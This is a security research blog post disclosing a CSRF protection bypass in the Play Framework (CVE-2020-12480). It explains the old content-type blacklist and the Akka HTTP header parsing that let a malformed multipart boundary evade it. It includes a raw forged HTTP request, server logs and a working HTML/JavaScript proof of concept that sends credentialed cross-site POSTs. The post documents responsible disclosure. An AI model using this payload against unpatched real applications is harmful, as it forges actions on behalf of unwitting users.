CSRF Protection Bypass in Play Framework
20 Aug 2020 - Posted by Luca CarettoniThis blog post illustrates a vulnerability affecting the Play framework that we discovered during a client engagement. This issue allows a complete Cross-Site Request Forgery (CSRF) protection bypass under specific configurations.
By their own words, the Play Framework is a high velocity web framework for java and scala. It is built on Akka which is a toolkit for building highly concurrent, distributed, and resilient message-driven applications for Java and Scala.
Play is a widely used framework and is deployed on web platforms for both large and small organizations, such as Verizon, Walmart, The Guardian, LinkedIn, Samsung and many others.
Old school anti-CSRF mechanism
In older versions of the framework, CSRF protection were provided by an insecure baseline mechanism - even when CSRF tokens were not present in the HTTP requests.
This mechanism was based on the basic differences between Simple Requests and Preflighted Requests. Let’s explore the details of that.
A Simple Request has a strict ruleset. Whenever these rules are followed, the user agent (e.g. a browser) won’t issue an OPTIONS request even if this is through XMLHttpRequest. All rules and details can be seen in this Mozilla’s Developer Page, although we are primarily interested in the Content-Type ruleset.
The Content-Type header for simple requests can contain one of three values:
application/x-www-form-urlencodedmultipart/form-datatext/plain
If you specify a different Content-Type, such as application/json, then the browser will send a OPTIONS request to verify that the web server allows such a request.
Now that we understand the differences between preflighted and simple requests, we can continue onwards to understand how Play used to protect against CSRF attacks.
In older versions of the framework (until version 2.5, included),
a black-list approach on receiving Content-Type headers was used as a CSRF prevention mechanism.
In the 2.8.x migration guide, we can see how users could restore Play’s old default behavior if required by legacy systems or other dependencies:
application.conf
play.filters.csrf {
header {
bypassHeaders {
X-Requested-With = "*"
Csrf-Token = "nocheck"
}
protectHeaders = null
}
bypassCorsTrustedOrigins = false
method {
whiteList = []
blackList = ["POST"]
}
contentType.blackList = ["application/x-www-form-urlencoded", "multipart/form-data", "text/plain"]
}
In the snippet above we can see the core of the old protection. The contentType.blackList setting contains three values, which are identical to the content type of “simple requests”. This has been considered as a valid (although not ideal) protection since the following scenarios are prevented:
- attacker.com embeds a
<form>element which posts to victim.com- Form allows form-urlencoded, multipart or plain, which are all blocked by the mechanism
- attacker.com uses XHR to
POSTto victim.com withapplication/json- Since
application/jsonis not a “simple request”, an OPTIONS will be sent and (assuming a proper configuration) CORS will block the request
- Since
- victim.com uses XHR to POST to victim.com with
application/json- This works as it should, since the request is not cross-site but within the same domain
Hence, you now have CSRF protection. Or do you?
Looking for a bypass
Armed with this knowledge, the first thing that comes to mind is that we need to make the browser issue a request that does not trigger a preflight and that does not match any values in the contentType.blackList setting.
The first thing we did was map out requests that we could modify without sending an OPTIONS preflight. This came down to a single request: Content-Type: multipart/form-data
This appeared immediately interesting thanks to the boundary value: Content-Type: multipart/form-data; boundary=something
The description can be found here:
For multipart entities the boundary directive is required, which consists of 1 to 70 characters from a set of characters known to be very robust through email gateways, and not ending with white space. It is used to encapsulate the boundaries of the multiple parts of the message. Often, the header boundary is prepended with two dashes and the final boundary has two dashes appended at the end.
So, we have a field that can actually be modified with plenty of different characters and it is all attacker-controlled.
Now we need to dig deep into the parsing of these headers. In order to do that, we need to take a look at Akka HTTP which is what the Play framework is based on.
Looking at HttpHeaderParser.scala, we can see that these headers are always parsed:
private val alwaysParsedHeaders = Set[String](
"connection",
"content-encoding",
"content-length",
"content-type",
"expect",
"host",
"sec-websocket-key",
"sec-websocket-protocol",
"sec-websocket-version",
"transfer-encoding",
"upgrade"
)
And the parsing rules can be seen in HeaderParser.scala which follows RFC 7230 Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing, June 2014.
def `header-field-value`: Rule1[String] = rule {
FWS ~ clearSB() ~ `field-value` ~ FWS ~ EOI ~ push(sb.toString)
}
def `field-value` = {
var fwsStart = cursor rule {
zeroOrMore(`field-value-chunk`).separatedBy { // zeroOrMore because we need to also accept empty values
run { fwsStart = cursor } ~ FWS ~ &(`field-value-char`) ~ run { if (cursor > fwsStart) sb.append(' ') }
} }
}
def `field-value-chunk` = rule { oneOrMore(`field-value-char` ~ appendSB()) } def `field-value-char` = rule { VCHAR | `obs-text` }
def FWS = rule { zeroOrMore(WSP) ~ zeroOrMore(`obs-fold`) } def `obs-fold` = rule { CRLF ~ oneOrMore(WSP) }
If these parsing rules are not obeyed, the value will be set to None. Perfect! That is exactly what we need for bypassing the CSRF protection - a “simple request” that will then be set to None thus bypassing the blacklist.
How do we actually forge a request that is allowed by the browser, but it is considered invalid by the Akka HTTP parsing code?
We decided to let fuzzing answer that, and quickly discovered that the following transformation worked: Content-Type: multipart/form-data; boundary=—some;randomboundaryvalue
An extra semicolon inside the boundary value would do the trick and mark the request as illegal:
POST /count HTTP/1.1
Host: play.local:9000
...
Content-Type: multipart/form-data;boundary=------;---------------------139501139415121
Content-Length: 0
Response
Response:
HTTP/1.1 200 OK
...
Content-Type: text/plain; charset=UTF-8 Content-Length: 1
5
This is also confirmed by looking at the logs of the server in development mode:
a.a.ActorSystemImpl - Illegal header: Illegal 'content-type' header: Invalid input 'EOI', exptected tchar, OWS or ws (line 1, column 74): multipart/form-data;boundary=------;---------------------139501139415121
And by instrumenting the Play framework code to print the value of the Content-Type:
Content-Type: None
Finally, we built the following proof-of-concept and notified our client (along with the Play framework maintainers):
<html>
<body>
<h1>Play Framework CSRF bypass</h1>
<button type="button" onclick="poc()">PWN</button> <p id="demo"></p>
<script>
function poc() {
var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("POST", "http://play.local:9000/count", true);
xhttp.setRequestHeader(
"Content-type",
"multipart/form-data; boundary=------;---------------------139501139415121"
);
xhttp.withCredentials = true;
xhttp.send("");
}
</script>
</body>
</html>
Credits & Disclosure
This vulnerability was discovered by Kevin Joensen and reported to the Play framework via security@playframework.com on April 24, 2020. This issue was fixed on Play 2.8.2 and 2.7.5. CVE-2020-12480 and all details have been published by the vendor on August 10, 2020. Thanks to James Roper of Lightbend for the assistance.